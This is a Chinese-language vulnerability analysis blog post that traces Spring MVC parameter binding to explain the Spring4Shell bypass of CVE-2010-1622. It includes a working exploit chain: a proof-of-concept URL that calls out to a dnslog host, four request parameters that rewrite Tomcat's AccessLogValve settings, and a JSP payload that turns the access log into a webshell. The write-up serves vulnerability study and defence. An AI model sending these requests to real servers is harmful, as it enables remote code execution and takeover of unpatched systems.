既然Spring最新0day漏洞是绕过CVE-2010-1622的修复方式后产生的,那就从这个古老漏洞的本质:参数绑定入手,搭建环境进行调试。
1 Spring参数绑定
首先了解下什么是Spring中的参数绑定,简单来说,springmvc中通过方法形参来接收页面请求的key/value数据,经过参数绑定,将key/value数据绑定到controller方法的形参上。
1.1 基本类型绑定
首先举个例子,如果我们要实现这样一个基本的注册功能:
需要先写一个User的POJO类/Bean类,包含基本的get/set方法:
然后Controller类接负责收前台传输的三个String类型参数,这里如果不使用@RequestParam,要求request传入参数名称和controller方法的形参名称一致,方可绑定成功。如果使用@RequestParam,则不需要。
中间封装一层Service,调用User类set方法实现赋值,完成参数绑定,如形参email对应User类email属性,并把数据传入数据库。
最终在View层完成视图渲染,这样就完成了一个典型的SpringMVC开发。
1.2 对象绑定
形参除了上述使用基本类型外,还可以直接使用POJO类。
直接新增一个controller方法,形参为User实体,然后获取其值并打印:
下面我们访问 http://127.0.0.1:8080/test?name=123,发现成功取到了值123,但代码里我们明明没有调用user.setName方法。
这是因为spring mvc提供的字段映射功能会自动发现对象中的public方法和字段,如果提交的参数中出现了user类的一个public字段或方法,就自动绑定,并且允许用户提交请求给他赋值。
2 参数绑定流程
参数绑定的整个流程如下图所示:
要搞清楚漏洞原理我们需要搞清两个问题:
1)Spring是怎么找到Controller的方法并执行的?
2)获取到方法后如何获取到参数并进行参数绑定的?
我们在spring的总入口DispatcherServlet.java的doDispatch方法处加上断点,一步步跟踪:
2.1 如何执行controller的方法?
1)用户请求经过tomcat处理后,调用Spring总入口DispatcherServlet.java的doDispath方法来路由处理http请求:
2)首先通过getHandler根据传入的request从容器中找到相应的handler,关键代码:
ha.handle(processedRequest, response, mappedHandler.getHandler());
3)通过HandlerAdapter的handle方法,进行统一调用,然后返回ModelAndView对象:
invokeHandlerMethod——>invokeAndHandle——>invokeForRequest——>doInvoke
最终spring调用的是java.lang.reflect.Method类的invoke方法,两个关键参数:
- target是UserController中的execute方法
- args是刚刚解析出来的user对象
这样就清楚了Spring是如何执行controller中的方法的。
2.2 如何进行参数绑定?
1)在invokeForRequest中,执行doInvoke方法之前先执行了getMethodArgumentValues操作,即参数相关操作:
resolveArgument——>bindRequestParameters——bind——>doBind
2)doBind方法具体实现数据绑定:
applyPropertyValues——>setPropertyValues——>setPropertyValue
setPropertyValue调用递归函数getPropertyAccessorForPropertyPath获取参数值,循环查看参数中是否包含“.”,若存在则按“.”分割赋值给nestedProperty,pos为nestedProperty值的长度:
如,如果我们发出请求http://127.0.0.1:8080/test?name.jayway,则第一次取到的nestedProperty即为name,pos为4:
如果取到nestedProperty,则将其带到下面的数据流处理:
getNestedPropertyAccessor——>getPropertyValue——>getLocalPropertyHandler
重点来了,这里会调用:
BeanWrapperImpl#getCachedIntrospectionResults().getPropertyDescriptor(propertyName)
去这个缓存cache里去找我们输入的参数propertyName(即nestedProperty属性)是否在User的属性列表里,查看一下这个property列表,除了自动获取的User类的public方法和属性外,竟然还自带了一个class属性:
这意味着,通过这个接口我们不仅可以操作User类,也可以操作任意class,换句话说,下面如果获取到classLoader那我们就可以执行任意对象,继续访问:http://127.0.0.1:8080/test?class.classLoader.xxxxx
成功通过第一层判断,再次走到getPropertyAccessorForPropertyPath,第二次取值为classLoader,这次缓存列表里共有46个值,并不包含classLoader:
但存在module,JDK9及以上版本可以通过class.module.classLoader获取classLoader,继续调试,发现classLoader可获取:
继续:class.module.classLoader.xxx
继续:class.module.classLoader.sources.xxx
继续:class.module.classLoader.sources.context,成功获取到tomcat的context对象,下面漏洞利用的姿势就很多了。
获取到context具体对象后最后会走到getValue:
getValue中通过反射调用对象,完成整个数据绑定流程。这样漏洞原理也就清楚了,剩下的就是构造合适的利用链。
3 漏洞利用
3.1 POC调试
以configFile为例,展开可见其最终调用的方法为org.apache.catalina.core.StandardContext#getConfigFile
具体方法为:
因此我们请求下面的链接即可触发一次URL请求:
http://127.0.0.1:8080/rce?class.module.classLoader.resources.context.configFile=http://spring-jayway.b0ul4q.dnslog.cn/test&class.module.classLoader.resources.context.configFile.content.aaa=xxx
这个请求相当于执行了:
user.getclass().getclassLoader().getResources().getContext().getconFile()
完整调用链:
3.2 EXP调试
任意访问内部属性的漏洞场景,和CVE-2014-0094非常相似,可以直接借鉴其通过日志写shell思路:
https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/
而经过上面调试,发现class.module.classLoader.sources.context可调用parent,即StandardContext的父类ContainerBase:
访问ContainerBase的Pipeline属性:
Pipeline的getFirst方法可获取Valve接口,有多种实现,包括AccessLogValve,这个类包含access日志的相关属性:
通过修改日志文件的这四个配置,包括目录、后缀,我们就可以完成在日志文件中插入恶意jsp代码达到RCE:
对应四个请求如下,依次访问即可成功修改日志属性:日志名改为jayway.jsp,目录改为tomcat根目录:
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=C:/tomcat/webapp/ROOT/
class.module.classLoader.resources.context.parent.pipeline.first.prefix=jayway
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
访问http://127.0.0.1:8080/aaaa.jsp?a=<% Runtime.getRuntime().exec("calc");%>将恶意代码写入日志文件,访问日志文件jayway.jsp即可触发命令执行:
Tomcat场景下漏洞利用方式不唯一,具体要看通过classLoader调用的类,危害不限于文件操作、DOS、网络请求(SSRF)、dos等。
4 漏洞总结
4.1 漏洞发现思路
这个漏洞和CVE-2010-1622在本质上是一致的,都是由于对象参数的自动绑定引起,关键在于绑定过程中对象自带了class属性,导致用户可以访问任意class。
同时JDK9以上存在class.module.classLoader,可绕过CVE-2010-1622的黑名单从而获取到classLoader,通过这个classLoader可访问到tomcat的context对象,最终任意修改tomcat内部属性,达成写webshell、dos等危害。
4.2 RCE前提
- JDK版本>=9 (这个版本才能取到classLoader)
- 使用对象绑定方式 (基本类型绑定场景不影响)
- 使用Tomcat容器 (如果使用的是springboot,只能取到springboot的classLoader)
5 Refer:
https://www.inbreak.net/archives/377
https://blog.csdn.net/dingodingy/article/details/84705444
https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/